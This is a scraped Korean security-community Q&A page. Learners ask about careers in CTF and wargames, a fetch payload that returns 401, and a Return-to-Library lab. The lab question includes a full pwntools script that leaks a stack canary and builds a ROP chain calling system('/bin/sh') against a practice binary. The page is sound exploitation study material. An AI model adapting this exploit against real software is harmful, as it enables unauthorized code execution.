ctf만 잘해도, 드림핵하고 각종 사이트의 워게임 문제만 다 잘풀어도
보안직종으로 취직할 수 있나요?
없다면 무엇이 또 필요한가요
보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
10 코인
페이로드 전달
어느정도 코드를 읽어보면서, 페이로드를 짜봤는데요
fetch를 사용하니, 개발자도구-콘솔에서 입력 시에 풀이가 되어야하지 않나요?
게시글로 작성하는건지... 도구로 입력하면 되는건지.. 모르겠습니다..
둘다 시도해봐도.. 401만 뜨네요 😂
안녕하세요 Return to Library 강의 듣던 중 궁금증이 생겨서 이렇게 질문을 남기게 되었습니다.
메모리 구조가 이렇다고 했을 때
|buf | canary | sfp | ret|
익스플로잇 후에는
'A'0x38 | canary | 'B'0x8 | 8byte(no-op gadget) | 리턴 가젯의 주소 | '/bin/sh'의 주소 | system 함수의 plt 주소
그렇다면 8바이트의 no-op 가젯부터 system 함수의 plt 주소가 RET 자리에 덮어 씌워지는 것인가요?
'
추가로 반환 주소(RET) 자리에 가젯을 덮어씌우면 어디서 실행되는 것인지 궁금합니다. (ex. 셸 코드를 버퍼에 주입하는 공격은 스택에서 실행되는 것으로 이해 했습니다. 하지만 Return to Library 코드의 예제에는 NX 보호 기법이 걸려 있기에 실행 권한이 코드 영역에만 남아있는 것으로 알고 있습니다. )
'
리턴 가젯을 이해하기가 어려워 검색을 많이 해서 조금이나마 이해를 했지만 어떤 함수를 실행하기 위한 큰 틀(조각)이라고 정도로 이해하면 될까요? 반환 주소에 리턴 가젯을 덮어씌워서 ret 명령어가 실행되기 전에 공격자가 원하는 함수를 실행하도록 하는 역할을 하는 것으로 이해하면 될까요?
'
대략 간단하게 공격 기법을 정리하여 설명해주시면 정말 감사하겠습니다 ㅠㅠ 여기서 개념이 너무 어려워서 막혔습니다ㅠㅠ
#!/usr/bin/env python3
Name: rtl.py
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
[1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
[2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'0x38 + p64(cnry) + b'B'0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter(b'Buf: ', payload)
p.interactive()
`
커뮤니티 최신글
24년은 3월부터 진짜 시작 아닌가요!? 🌅 CTF S5 #5
[0]
572
.HACK2024 #CallForPapers 제출 기한 연장 - 3월 10일까지!
[0]
100
내 더위,, 아니 추위,, 아니 더위 사가라,, 🌕 CTF S5 #4
[0]
217
.HACK 2024(5월)에서 발표자를 모집합니다 - Call For Papers
[0]
183
너 요즘 해킹한다고 하지 않았니? 💬 CTF S5 #3
[0]
457
🎤 제 28회 해킹캠프 발표 공개!
[0]
191
너무 추우면 집에서 CTF하자 ☃❄ CTF S5 #2
[0]
268